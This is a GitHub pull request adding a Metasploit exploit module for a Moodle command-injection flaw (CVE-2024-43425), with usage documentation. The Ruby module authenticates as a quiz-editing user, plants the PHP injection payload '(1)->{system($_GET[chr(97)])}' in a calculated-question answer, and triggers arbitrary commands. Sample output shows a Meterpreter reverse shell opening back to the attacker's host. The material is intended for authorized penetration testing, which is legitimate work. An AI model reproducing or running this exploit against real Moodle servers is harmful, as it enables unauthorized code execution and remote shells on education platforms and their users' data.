Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Moodle RCE (CVE-2024-43425) Module #19430

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
101 changes: 101 additions & 0 deletions documentation/modules/exploit/linux/http/moodle_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,101 @@
## Vulnerable Application

This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.
By default, the application will run in the context of www-data, so only a limited shell can be obtained.

Valid credentials are required to exploit this vulnerability. Moreover, the user must be authorized to either add a new or modify an
existing quiz, in order to reach the vulnerable function and trigger the bug. User roles that fall into this category include
`Teacher` and `Administrator`, but might differ depending on the specific deployment and configuration.

Affected versions include:
* 4.4 to 4.4.1
* 4.3 to 4.3.5
* 4.2 to 4.2.8
* 4.1 to 4.1.11

Moodle published an advisory [here](https://moodle.org/mod/forum/discuss.php?d=461193).

The original advisory is available [here](https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/), and a more detailed writeup is
available [here](https://blog.redteam-pentesting.de/2024/moodle-rce/).

## Testing

Legacy releases from Moodle can be obtained from [here](https://download.moodle.org/releases/legacy/).
An installation guide is available [here](https://docs.moodle.org/404/en/Step-by-step_Installation_Guide_for_Ubuntu).

**Successfully tested on**

- Moodle v4.4.1 on Ubuntu 20.04 LTS

## Verification Steps

1. Deploy Moodle
2. Start `msfconsole`
3. `use exploit/linux/http/moodle_rce`
4. `set USERNAME <USER>`
5. `set PASSWORD <PASSWORD>`
6. `set CMID <ID>`
7. `set COURSEID <ID>`
8. `set RHOSTS <IP>`
9. `set LHOST <IP>`
10. `exploit`

## Options

### USERNAME
The username to authenticate with in Moodle.

### PASSWORD
The password for the user.

### CMID
The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course
(e.g., IP>/moodle/mod/quiz/edit.php?cmid=4).

### COURSEID
The course ID. Can be retrieved from the URL when the course is selected (e.g., <IP>/moodle/course/view.php?id=3).

## Scenarios

Running the module against Moodle v4.4.1 should result in an output similar to the following:

```
msf6 > use exploit/linux/http/moodle_rce
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/moodle_rce) > set USERNAME testuser
USERNAME => testuser
msf6 exploit(linux/http/moodle_rce) > set PASSWORD iusldbf843498fKJASD
PASSWORD => iusldbf843498fKJASD
msf6 exploit(linux/http/moodle_rce) > set CMID 2
CMID => 2
msf6 exploit(linux/http/moodle_rce) > set COURSEID 2
COURSEID => 2
msf6 exploit(linux/http/moodle_rce) > set RHOSTS 192.168.217.141
RHOSTS => 192.168.217.141
msf6 exploit(linux/http/moodle_rce) > set LHOST 192.168.217.128
LHOST => 192.168.217.128
msf6 auxiliary(exploit/linux/http/moodle_rce) > exploit
[*] Started reverse TCP handler on 192.168.217.128:4444
[*] Obtaining MoodleSession and logintoken...
[+] Server reachable.
[*] Authenticating as testuser...
[*] Successfully authenticated.
[*] Obtaining sesskey, courseContextId, and category...
[*] Injecting command...
[*] Sending stage (3045380 bytes) to 192.168.217.141
[*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.141:37152) at 2024-09-01 18:19:44 -0400
[-] Exploit aborted due to failure: unreachable: Failed to receive a reply from the server.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/moodle_rce) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : 192.168.217.141
OS : Ubuntu 24.04 (Linux 6.8.0-41-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: www-data
```
278 changes: 278 additions & 0 deletions modules/exploits/linux/http/moodle_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,278 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Moodle Remote Code Execution (CVE-2024-43425)',
'Description' => %q{
This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.
Affected versions include 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11, and earlier unsupported versions.
},
'License' => MSF_LICENSE,
'Author' => [
'Michael Heinzl', # MSF Module
'RedTeam Pentesting GmbH', # Discovery and PoC
],
'References' => [
[ 'URL', 'https://blog.redteam-pentesting.de/2024/moodle-rce/'],
[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/'],
[ 'URL', 'https://moodle.org/mod/forum/discuss.php?d=461193'],
[ 'CVE', '2024-43425']
],
'DisclosureDate' => '2024-08-27',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Linux Command',
{
'Arch' => [ ARCH_CMD ],
'Platform' => [ 'linux' ],
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
'Type' => :unix_cmd
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [true, 'Username to authenticate to the system. Needs to be allowed to add questions to a quiz.']),
OptString.new('PASSWORD', [true, 'Password for the user']),
OptInt.new('COURSEID', [true, 'The course ID. Can be retrieved from the URL when the course is selected (e.g., <IP>/moodle/course/view.php?id=3)']),
OptInt.new('CMID', [true, 'The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course (e.g., <IP>/moodle/mod/quiz/edit.php?cmid=4)']),
OptString.new('TARGETURI', [ true, 'The URI for the Moodle web interface', '/'])
]
)
end

def exploit
execute_command(payload.encoded)
end

def execute_command(cmd)
print_status('Obtaining MoodleSession and logintoken...')

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php?loginredirect=1')
)

fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200

print_good('Server reachable.')

moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would you be able use 'keep_cookies' => true instead of manually extracting moodlesession?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

In this case I had issues getting it to work with keep_cookies, as sometimes an expected cookie was not present in the order the requests are being sent to the server, if I remember correctly.

fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession
vprint_status("MoodleSession: #{moodlesession}")

html = res.get_html_document
logintoken = html.to_s.match(/name="logintoken" value="([^"]+)"/)[1]
fail_with(Failure::UnexpectedReply, 'logintoken not found.') unless logintoken
vprint_status("logintoken: #{logintoken}")

print_status("Authenticating as #{datastore['USERNAME']}...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php'),
'headers' => {
'Cookie' => "MoodleSession=#{moodlesession}",
'keep_cookies' => true
},
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'anchor' => nil,
'logintoken' => logintoken,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)

fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res

moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0]
fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession
vprint_status("MoodleSession: #{moodlesession}")

moodleid1 = res.get_cookies.scan(/MOODLEID1_=([^;]+)/).flatten[1]
fail_with(Failure::UnexpectedReply, 'MOODLEID1_ not found.') unless moodleid1
vprint_status("MOODLEID1_: #{moodleid1}")

html = res.get_html_document
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('index.php?testsession=')
print_status('Successfully authenticated.')
testsession = html.to_s.match(/index\.php\?testsession=(\d+)/)[1]
vprint_status("testsession: #{testsession}")

res = send_request_cgi(
'method' => 'GET',
'headers' => {
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
},
'uri' => normalize_uri(target_uri.path, "moodle/login/index.php?testsession=#{testsession}")
)

fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && (html.to_s.include?('/my') || html.to_s.include?('/moodle/'))

print_status('Obtaining sesskey, courseContextId, and category...')
vprint_status('Obtaining sesskey...')
res = send_request_cgi(
'method' => 'GET',
'headers' => {
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
},
'uri' => normalize_uri(target_uri.path, "moodle/mod/quiz/edit.php?cmid=#{datastore['CMID']}")
)

fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200

html = res.get_html_document
sesskey = html.to_s.match(/"sesskey":"([^"]+)"/)[1]
fail_with(Failure::UnexpectedReply, 'sesskey not found.') unless sesskey
vprint_status("sesskey: #{sesskey}")

course_context_id = html.to_s.match(/"courseContextId":(\d+)/)[1]
fail_with(Failure::UnexpectedReply, 'courseContextId not found.') unless course_context_id
vprint_status("courseContextId: #{course_context_id}")

category = html.to_s.match(/;category=(\d+)/)[1]
fail_with(Failure::UnexpectedReply, 'category not found.') unless category
vprint_status("category: #{category}")

print_status('Injecting command...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'moodle/question/bank/editquestion/question.php'),
'headers' => {
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
},
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'initialcategory' => '1',
'reload' => '1',
'shuffleanswers' => '1',
'answernumbering' => 'abc',
'mform_isexpanded_id_answerhdr' => '1',
'noanswers' => '1',
'nounits' => '1',
'numhints' => '2',
'synchronize' => nil,
'wizard' => 'datasetdefinitions',
'id' => nil,
'inpopup' => '0',
'cmid' => datastore['CMID'].to_s,
'courseid' => datastore['COURSEID'].to_s,
'returnurl' => "/mod/quiz/edit.php?cmid=#{datastore['CMID']}&addonpage=0",
'mdlscrollto' => '0',
'appendqnumstring' => 'addquestion',
'qtype' => 'calculated',
'makecopy' => '0',
'sesskey' => sesskey.to_s,
'_qf__qtype_calculated_edit_form' => '1',
'mform_isexpanded_id_generalheader' => '1',
'mform_isexpanded_id_unithandling' => '0',
'mform_isexpanded_id_unithdr' => '0',
'mform_isexpanded_id_multitriesheader' => '0',
'mform_isexpanded_id_tagsheader' => '0',
'category' => "#{category},#{course_context_id}",
'name' => Rex::Text.rand_text_alpha(6..10),
'questiontext[text]' => '<p>{b}</p>',
'questiontext[format]' => '1',
'questiontext[itemid]' => rand(424810000..424819999), # '424815274',
'status' => 'ready',
'defaultmark' => '1',
'generalfeedback[text]' => nil,
'generalfeedback[format]' => '1',
'generalfeedback[itemid]' => rand(940090000..940099999), # '940093981',
'idnumber' => nil,
'answer[0]' => '(1)->{system($_GET[chr(97)])}',
'fraction[0]' => '1.0',
'tolerance[0]' => '0.01',
'tolerancetype[0]' => '1',
'correctanswerlength[0]' => '2',
'correctanswerformat[0]' => '1',
'feedback[0][text]' => nil,
'feedback[0][format]' => '1',
'feedback[0][itemid]' => rand(738790000..738799999), # '738798744',
'unitrole' => '3',
'penalty' => rand(0.1333333..0.7333333), # '0.3333333',
'hint[0][text]' => nil,
'hint[0][format]' => '1',
'hint[0][itemid]' => rand(562440000..562449999), # '562446571',
'hint[1][text]' => nil,
'hint[1][format]' => '1',
'hint[1][itemid]' => rand(161670000..161679999), # '161675382',
'tags' => '_qf__force_multiselect_submission',
'submitbutton' => 'Save+changes'
}
)

fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res

html = res.get_html_document
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/question.php?qtype=calculated')

location_header = res.headers['Location']
id = location_header && location_header.match(/&id=(\d+)/)
id = id[1] if id
fail_with(Failure::UnexpectedReply, 'ID not found.') unless id
vprint_status("id value: #{id}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'moodle/question/bank/editquestion/question.php?wizardnow=datasetdefinitions'),
'headers' => {
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
},
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'id' => id.to_s,
'inpopup' => '0',
'cmid' => datastore['CMID'].to_s,
'courseid' => datastore['COURSEID'].to_s,
'returnurl' => "/mod/quiz/edit.php?cmid=#{datastore['CMID']}&addonpage=0",
'mdlscrollto' => '0',
'appendqnumstring' => 'addquestion',
'category' => "#{category},#{course_context_id}",
'wizard' => 'datasetitems',
'sesskey' => sesskey.to_s,
'_qf__question_dataset_dependent_definitions_form' => '1',
'dataset[0]' => '0',
'dataset[1]' => '1-0-x',
'synchronize' => '0',
'submitbutton' => 'Next+page'
}
)

fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res

html = res.get_html_document

fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/')

cmd2 = URI.encode_www_form_component(cmd)
res = send_request_cgi(
'method' => 'GET',
'headers' => {
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
},
'uri' => normalize_uri(target_uri.path, "/moodle/question/bank/editquestion/question.php?id=#{id}&category=#{category}&cmid=#{datastore['CMID']}&courseid=#{datastore['COURSEID']}&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D#{datastore['CMID']}%26addonpage%3D0&appendqnumstring=addquestion&mdlscrollto=0&a=#{cmd2}")
)

fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
end
end
Loading